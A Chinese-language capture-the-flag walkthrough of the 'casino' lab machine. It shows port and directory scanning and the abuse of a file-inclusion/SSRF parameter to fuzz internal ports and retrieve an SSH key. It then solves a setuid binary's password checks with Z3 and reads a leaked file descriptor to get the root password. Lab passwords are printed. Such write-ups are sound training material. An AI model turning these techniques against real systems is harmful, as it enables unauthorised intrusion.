文章

casino

casino

导入virtualbox,再改为1.0协议,使用vmware打开,利用grub修改网卡配置文件,重启网卡,然后就可以扫到了!

image-20240321124020497

不知道是不是,扫一下:

image-20240321124049304

看样子没错了,就这么干吧。

信息搜集

端口扫描

1
nmap -sT -T4 -sV  -p- 10.160.52.102
1
2
3
4
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

目录扫描

1
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.160.52.102 -f -t 50 -x php,txt,html,png,jpg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/.html/               (Status: 403) [Size: 278]
/.php/                (Status: 403) [Size: 278]
/register.php/        (Status: 200) [Size: 1347]
/icons/               (Status: 403) [Size: 278]
/index.php/           (Status: 200) [Size: 1138]
/imgs/                (Status: 200) [Size: 3914]
/js/                  (Status: 200) [Size: 1120]
/logout.php/          (Status: 302) [Size: 0] [--> /index.php]
/config.php/          (Status: 200) [Size: 0]
/casino/              (Status: 302) [Size: 0] [--> ../index.php]
/styles/              (Status: 200) [Size: 2330]
/restricted.php/      (Status: 302) [Size: 0] [--> ../index.php]
/.html/               (Status: 403) [Size: 278]
/.php/                (Status: 403) [Size: 278]
/server-status/       (Status: 403) [Size: 278]

漏洞利用

玩游戏

image-20240321124643825

image-20240321124750984

尝试注册一下,然后登录进来了:

image-20240321124848227

似乎是一个游戏,看一下介绍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_________________________________
WIN 10.000$ => WIN A TEDDY BEAR
_________________________________
Intructions
- CUPS
The player tries to guess which of three cups hides a small ball. The cups are shuffled, and the player must select the correct one to win. The player wins or losess the same amount he bets.

- GUN
The player presses the "Shoot" button. There is a 1/6 chance of losing. In that case, the player's money is multiplied by 0.15. Otherwise, the player's money is multiplied by 1.5.

- Dice
The player places a bet on whether the value of the sum of two dice will be less than, equal to or greater than 7.

||====================================================================||
||//$\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\//$\\||
||(100)==================| FEDERAL RESERVE NOTE |================(100)||
||\\$//        ~         '------========--------'                \\$//||
||<< /        /$\              // ____ \\                         \ >>||
||>>|  12    //L\\            // ///..) \\         L38036133B   12 |<<||
||<<|        \\ //           || <||  >\  ||                        |>>||
||>>|         \$/            ||  $$ --/  ||        One Hundred     |<<||
||<<|      L38036133B        *\\  |\_/  //* series                 |>>||
||>>|  12                     *\\/___\_//*   1989                  |<<||
||<<\      Treasurer     ______/Franklin\________     Secretary 12 />>||
||//$\                 ~|UNITED STATES OF AMERICA|~               /$\\||
||(100)===================  ONE HUNDRED DOLLARS =================(100)||
||\\$//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\$//||
||====================================================================||

  • 杯子:玩家试着猜猜三个杯子中的哪一个藏着一个小球。奖杯是洗牌的,玩家必须选择正确的奖杯才能获胜。

  • 枪:玩家按下“射击”按钮。输的几率是六分之一。在这种情况下,玩家的钱乘以0.15。否则,玩家的钱将乘以1.5。

  • 骰子:玩家就两个骰子之和的值是否小于、等于或大于7下注。

随便玩一下吧:

image-20240321125804145

选枪载10000以下不会失败,如果要超过10000就会失败:

拿到10000以后还是没啥东西。。。。行吧。

扫一下常见的漏洞:

1
nikto -h http://10.160.52.102
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.160.52.102
+ Target Hostname:    10.160.52.102
+ Target Port:        80
+ Start Time:         2024-03-21 01:00:21 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /database.sql: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /imgs/: Directory indexing found.
+ /imgs/: This might be interesting.
+ /database.sql: Database SQL found.
+ /styles/: Directory indexing found.
+ 8101 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2024-03-21 01:00:38 (GMT-4) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

突然想到一个问题,假如钱变成0了会咋样,那样的话。。。。。

image-20240321130932642

额,这样就玩不了了,重新再创一个号吧,再试试:

我又一次故意搞到0,发现网址变了:

1
http://10.160.52.102/casino/explainmepls.php?learnabout=en.wikipedia.org/wiki/Dice

似乎存在RFI,尝试一下:

image-20240321132203859

额,说明是可以正常远程读取文件的。

image-20240321133111447

似乎也不行,让他包含本地文件试试?

image-20240321133315193

FUZZ 端口

说明是可以查到本地文件的,尝试让他输出本地的端口试试。

image-20240321134122400

1
2
seq 0 65535 > 65535.txt
gobuster fuzz -u "http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ" -w 65535.txt -c "PHPSESSID=olis0nc010av7pg4shf5rutt0i" -a "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"

image-20240321134521014

将最多的过滤一下:

1
gobuster fuzz -u "http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ" -w 65535.txt -c "PHPSESSID=olis0nc010av7pg4shf5rutt0i" -a "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" --exclude-length "1130"

image-20240321134737142

1
2
3
Found: [Status=200] [Length=2268] [Word=0] http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:0
Found: [Status=200] [Length=2268] [Word=80] http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:80
Found: [Status=200] [Length=1969] [Word=6969] http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:6969

访问看一下:

image-20240321134900291

翻译软件翻译一下:

1
2
3
4
5
6
7
8
9
10
添加更多游戏。
别忘了二进制文件的密码。
购买域名。
让游戏变得更难。
安全的FTP服务器。
侵入联邦调查局。
买一个星期三吃的三明治。
了解符号执行。
开发WannaCry 4.0。
帮助Colors黑客组织恢复他们的服务器并使其更安全。

查看一下这个端口下有无相关的信息

1
gobuster fuzz -u "http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c "PHPSESSID=olis0nc010av7pg4shf5rutt0i" -a "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"

image-20240321135307932

同样过滤一下:

1
gobuster fuzz -u "http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c "PHPSESSID=olis0nc010av7pg4shf5rutt0i" -a "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" --exclude-length "1130"

image-20240321135541312

1
gobuster fuzz -u "http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -b 400 -c "PHPSESSID=olis0nc010av7pg4shf5rutt0i" -a "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" --exclude-length "1130" 

image-20240321140504464

1
2
3
4
5
Found: [Status=200] [Length=1407] [Word=codebreakers] http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:6969/codebreakers

Found: [Status=200] [Length=22090] [Word=server-status] http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:6969/server-status

Found: [Status=200] [Length=1969] [Word=%3FRID%3D2671] http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:6969/%3FRID%3D2671

挨个查看一下:

image-20240321140550358

image-20240321140604238

image-20240321140639780

找到登录密钥了,尝试进行登录!

1
2
chmod 600 fuck_rsa
ssh shimmer@10.160.52.102 -i fuck_rsa

image-20240321140900129

提权

查看基础信息

image-20240321141026071

额。

casinousergobrrr
1
2
shimmer@casino:~$ file pass
# pass: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=69534d98e628cad52c35ba899c71650dc0e48bdf, for GNU/Linux 3.2.0, not stripped

行吧,等下传过来分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
shimmer@casino:~$ find / -perm -u=s -type f 2>/dev/null
/home/shimmer/pass
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/umount
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh

看来就是让我们分析这个pass程序了。。。传过来看看:

image-20240321142031672

额,丢进ida分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t v3; // eax
  char s1[112]; // [rsp+10h] [rbp-F0h]
  char *argva; // [rsp+80h] [rbp-80h]
  __int64 v7; // [rsp+88h] [rbp-78h]
  char s[108]; // [rsp+90h] [rbp-70h]
  int v9; // [rsp+FCh] [rbp-4h]

  printf("Passwd: ", argv, envp, argv);
  fgets(s, 100, stdin);
  if ( s[strlen(s) - 1] == 10 )
    s[strlen(s) - 1] = 0;
  if ( (unsigned int)checkPasswd(s, 100LL) != 1 )
    return 0;
  v9 = open("/opt/root.pass", 0);
  v3 = getuid();
  setuid(v3);
  printf("Second Passwd: ");
  fgets(s1, 100, stdin);
  if ( s1[strlen(s1) - 1] == 10 )
    s1[strlen(s1) - 1] = 0;
  if ( !strcmp(s1, "ultrasecretpassword") )
  {
    argva = "sh";
    v7 = 0LL;
    execvp("/bin/sh", &argva);
  }
  else
  {
    puts("bye.");
  }
  return 0;
}
  1. 程序开始时,提示用户输入密码(通过 printf 函数),然后从标准输入(stdin)中获取用户输入的密码(通过 fgets 函数)。获取的密码存储在字符数组 s 中。
  2. 然后检查输入的密码是否正确,调用 checkPasswd 函数进行验证。如果密码不正确,则程序直接返回,不执行后续操作。
  3. 如果第一个密码验证通过,则尝试打开文件 /opt/root.pass(通过 open 函数)。然后获取当前用户的用户 ID(UID)(通过 getuid 函数),并使用 setuid 函数将程序的有效用户 ID(EUID)设置为当前用户的 UID。
  4. 程序接着提示用户输入第二个密码,并将其存储在字符数组 s1 中。
  5. 如果第二个密码是 ultrasecretpassword,则将 argva 设置为 “sh”,将 v7 设置为 0,然后调用 execvp 函数以执行 “/bin/sh”,从而打开一个 shell。
  6. 如果第二个密码不是 ultrasecretpassword,则程序打印 bye. 并返回。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
// checkPasswd
signed __int64 __fastcall checkPasswd(const char *a1)
{
  signed __int64 result; // rax

  if ( strlen(a1) == 26 )
  {
    if ( *a1 - a1[20] == -10 )
    {
      if ( a1[1] + a1[6] == 208 )
      {
        if ( a1[2] - a1[4] == 10 )
        {
          if ( a1[3] - a1[14] == -2 )
          {
            if ( a1[4] * a1[25] == 10100 )
            {
              if ( a1[5] + a1[17] == 219 )
              {
                if ( a1[6] - a1[10] == -11 )
                {
                  if ( a1[7] - a1[20] == -10 )
                  {
                    if ( a1[8] * a1[17] == 11845 )
                    {
                      if ( a1[9] - a1[18] == -7 )
                      {
                        if ( a1[10] - a1[24] == 1 )
                        {
                          if ( a1[11] * a1[4] == 9797 )
                          {
                            if ( a1[12] - a1[3] == 3 )
                            {
                              if ( a1[13] * a1[11] == 11252 )
                              {
                                if ( a1[14] - a1[13] == -2 )
                                {
                                  if ( a1[15] == a1[23] )
                                  {
                                    if ( a1[16] - a1[8] == -5 )
                                    {
                                      if ( a1[17] * a1[7] == 10815 )
                                      {
                                        if ( a1[18] - a1[14] == -2 )
                                        {
                                          if ( a1[19] - *a1 == -8 )
                                          {
                                            if ( a1[20] - a1[23] == 4 )
                                            {
                                              if ( a1[21] + a1[7] == 220 )
                                              {
                                                if ( a1[22] - a1[1] == 15 )
                                                {
                                                  if ( a1[23] == a1[15] )
                                                  {
                                                    if ( a1[24] * a1[2] == 12654 )
                                                    {
                                                      if ( a1[25] - a1[12] == -15 )
                                                      {
                                                        puts("Correct pass");
                                                        result = 1LL;
                                                      }
                                                      else
                                                      {
                                                        result = 0LL;
                                                      }
                                                    }
                                                    else
                                                    {
                                                      result = 0LL;
                                                    }
                                                  }
                                                  else
                                                  {
                                                    result = 0LL;
                                                  }
                                                }
                                                else
                                                {
                                                  result = 0LL;
                                                }
                                              }
                                              else
                                              {
                                                result = 0LL;
                                              }
                                            }
                                            else
                                            {
                                              result = 0LL;
                                            }
                                          }
                                          else
                                          {
                                            result = 0LL;
                                          }
                                        }
                                        else
                                        {
                                          result = 0LL;
                                        }
                                      }
                                      else
                                      {
                                        result = 0LL;
                                      }
                                    }
                                    else
                                    {
                                      result = 0LL;
                                    }
                                  }
                                  else
                                  {
                                    result = 0LL;
                                  }
                                }
                                else
                                {
                                  result = 0LL;
                                }
                              }
                              else
                              {
                                result = 0LL;
                              }
                            }
                            else
                            {
                              result = 0LL;
                            }
                          }
                          else
                          {
                            result = 0LL;
                          }
                        }
                        else
                        {
                          result = 0LL;
                        }
                      }
                      else
                      {
                        result = 0LL;
                      }
                    }
                    else
                    {
                      result = 0LL;
                    }
                  }
                  else
                  {
                    result = 0LL;
                  }
                }
                else
                {
                  result = 0LL;
                }
              }
              else
              {
                result = 0LL;
              }
            }
            else
            {
              result = 0LL;
            }
          }
          else
          {
            result = 0LL;
          }
        }
        else
        {
          result = 0LL;
        }
      }
      else
      {
        result = 0LL;
      }
    }
    else
    {
      result = 0LL;
    }
  }
  else
  {
    puts("Incorrect pass");
    result = 0LL;
  }
  return result;
}

尝试写一个脚本,输出满足要求的字符串,经过群友FLOW提点,知道使用Z3库可以做这件事情:

https://www.cnblogs.com/runwu2204/articles/17008164.html

https://blog.csdn.net/weixin_52369224/article/details/120922901

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from z3 import *

# 创建26个变量,每个变量表示字符串中对应位置的字符
a = [Int('a[%d]' % i) for i in range(26)]

# 创建一个 Z3 solver 实例
solver = Solver()

# 添加字符串长度等于 26 的约束
solver.add(len(a) == 26)

# 约束条件列表
constraints = [
    a[0] - a[20] == -10,
    a[1] + a[6] == 208,
    a[2] - a[4] == 10,
    a[3] - a[14] == -2,
    a[4] * a[25] == 10100,
    a[5] + a[17] == 219,
    a[6] - a[10] == -11,
    a[7] - a[20] == -10,
    a[8] * a[17] == 11845,
    a[9] - a[18] == -7,
    a[10] - a[24] == 1,
    a[11] * a[4] == 9797,
    a[12] - a[3] == 3,
    a[13] * a[11] == 11252,
    a[14] - a[13] == -2,
    a[15] == a[23],
    a[16] - a[8] == -5,
    a[17] * a[7] == 10815,
    a[18] - a[14] == -2,
    a[19] - a[0] == -8,
    a[20] - a[23] == 4,
    a[21] + a[7] == 220,
    a[22] - a[1] == 15,
    a[23] == a[15],
    a[24] * a[2] == 12654,
    a[25] - a[12] == -15
]

# 添加约束条件
for constraint in constraints:
    solver.add(constraint)

# 检查约束是否满足
if solver.check() == sat:
    model = solver.model()
    result = ''.join([chr(model[a[i]].as_long()) for i in range(26)])
    print("满足条件的字符串为:", result)
else:
    print("找不到满足条件的字符串")
# 满足条件的字符串为: ihopethisisastrongpassword
ihopethisisastrongpassword
ultrasecretpassword

到这里就没辙了,看作者视频样子是把输出重定向到了伪终端,所以切换到伪终端,发现root密码,记录学习一下:

1
2
3
4
5
cd /proc
cd self
cd fd
ls -la
cat <&3

image-20240321152331818

实际上这里传个linpeas.sh是可以搜集到信息的。

symboliclove4u

补充

经过ll104567师傅的提点,知道了原理:

image-20240321172159416

image-20240321172309551

本文由作者按照 CC BY 4.0 进行授权